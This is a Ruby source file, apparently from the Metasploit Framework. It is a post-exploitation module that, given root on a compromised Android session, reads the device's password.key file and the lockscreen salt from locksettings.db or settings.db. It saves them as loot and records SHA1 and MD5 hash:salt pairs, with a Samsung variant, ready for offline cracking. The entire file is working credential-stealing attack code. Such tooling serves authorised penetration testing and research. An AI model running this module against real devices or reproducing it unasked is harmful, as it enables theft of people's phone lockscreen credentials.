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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'sqlite3'
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require 'fileutils'
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Android::Priv
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        {
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          'Name' => 'Android Gather Dump Password Hashes for Android Systems',
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          'Description' => %q{
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            Post Module to dump the password hashes for Android System. Root is required.
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            To perform this operation, two things are needed.  First, a password.key file
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            is required as this contains the hash but no salt.  Next, a sqlite3 database
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            is needed (with supporting files) to pull the salt from.  Combined, this
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            creates the hash we need.  Samsung based devices change the hash slightly.
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          },
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          'License' => MSF_LICENSE,
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          'Author' => ['h00die', 'timwr'],
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          'SessionTypes' => [ 'meterpreter', 'shell' ],
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          'Platform' => 'android',
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          'References' => [
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            ['URL', 'https://www.pentestpartners.com/security-blog/cracking-android-passwords-a-how-to/'],
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            ['URL', 'https://hashcat.net/forum/thread-2202.html'],
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          ]
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        }
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      )
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    )
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  end
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  def read_store_sql(location)
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    # we need the .db file, as well as the supporting files .db-shm and .db-wal as they may contain
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    # the values we are looking for
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    db_loot_name = ''
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    file_name = File.basename(location)
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    ['', '-wal', '-shm'].each do |ext|
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      l = location + ext
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      unless file_exist?(l)
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        next
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      end
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      f = file_name + ext
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      data = read_file(l)
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      if data.blank?
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        print_error("Unable to read #{l}")
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        return
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      end
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      print_good("Saved #{f} with length #{data.length}")
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      if ext == ''
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        loot_file = store_loot('SQLite3 DB', 'application/x-sqlite3', session, data, f, 'Android database')
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        db_loot_name = loot_file
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        next
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      end
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      loot_file = store_loot('SQLite3 DB', 'application/binary', session, data, f, 'Android database')
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      # in order for sqlite3 to see the -wal and -shm support files, we have to rename them
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      # we have to do this since the ext is > 3
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      # https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/auxiliary/report.rb#L391
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      new_name = "#{db_loot_name}#{ext}"
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      FileUtils.mv(loot_file, new_name)
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    end
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    SQLite3::Database.new(db_loot_name)
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  end
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  def run
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    unless is_root?
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      fail_with Failure::NoAccess, 'This module requires root permissions.'
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    end
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    manu = cmd_exec('getprop ro.product.manufacturer')
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    print_status('Attempting to determine unsalted hash.')
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    key_file = '/data/system/password.key'
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    unless file_exist?(key_file)
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      print_error('No password.key file, no password on device.')
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      return
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    end
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    hash = read_file(key_file)
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    if hash.empty?
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      print_error("Unable to read #{key_file}, and retrieve hash.")
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      return
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    end
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    store_loot('Key', 'plain/text', session, hash, 'password.key', 'Android password hash key')
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    print_good('Saved password.key')
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    print_status('Attempting to determine salt')
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    os = cmd_exec('getprop ro.build.version.release')
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    vprint_status("OS Version: #{os}")
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    locksettings_db = '/data/system/locksettings.db'
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    locksettings_sql = "select value from locksettings where name='lockscreen.password_salt';"
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    unless file_exist? locksettings_db
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      vprint_status("Could not find #{locksettings_db}, using settings.db")
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      locksettings_db = '/data/data/com.android.providers.settings/databases/settings.db'
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      locksettings_sql = "select value from secure where name='lockscreen.password_salt';"
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    end
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    begin
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      vprint_status("Attempting to load lockscreen db: #{locksettings_db}")
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      db = read_store_sql(locksettings_db)
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      if db.nil?
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        print_error('Unable to load settings.db file.')
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        return
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      end
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      salt = db.execute(locksettings_sql)
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    rescue SQLite3::SQLException
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      print_error("Failed to pull salt from database.  Command output: #{salt}")
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      return
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    end
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    salt = salt[0][0] # pull string from results Command output: [["5381737017539487883"]] may also be negative.
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    # convert from number string to hex and lowercase
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    salt = salt.to_i
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    salt += 2**64 if salt < 0 # deal with negatives
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    salt = salt.to_s(16)
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    print_good("Password Salt: #{salt}")
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    sha1 = hash[0...40]
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    sha1 = "#{sha1}:#{salt}"
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    print_good("SHA1: #{sha1}")
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    credential_data = {
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      # no way to tell them apart w/o knowing one is samsung or not.
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      jtr_format: manu =~ /samsung/i ? 'android-samsung-sha1' : 'android-sha1',
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      origin_type: :session,
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      post_reference_name: refname,
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      private_type: :nonreplayable_hash,
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      private_data: sha1,
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      session_id: session_db_id,
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      username: '',
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      workspace_id: myworkspace_id
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    }
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    create_credential(credential_data)
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    if hash.length > 40 # devices other than Samsungs have sha1+md5 combined into a single string
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      md5 = hash[40...72]
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      md5 = "#{md5}:#{salt}"
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      print_good("MD5: #{md5}")
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      credential_data = {
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        jtr_format: Metasploit::Framework::Hashes.identify_hash(md5),
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        origin_type: :session,
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        post_reference_name: refname,
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        private_type: :nonreplayable_hash,
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        private_data: md5,
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        session_id: session_db_id,
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        username: '',
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        workspace_id: myworkspace_id
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      }
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      create_credential(credential_data)
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    end
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  end
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end
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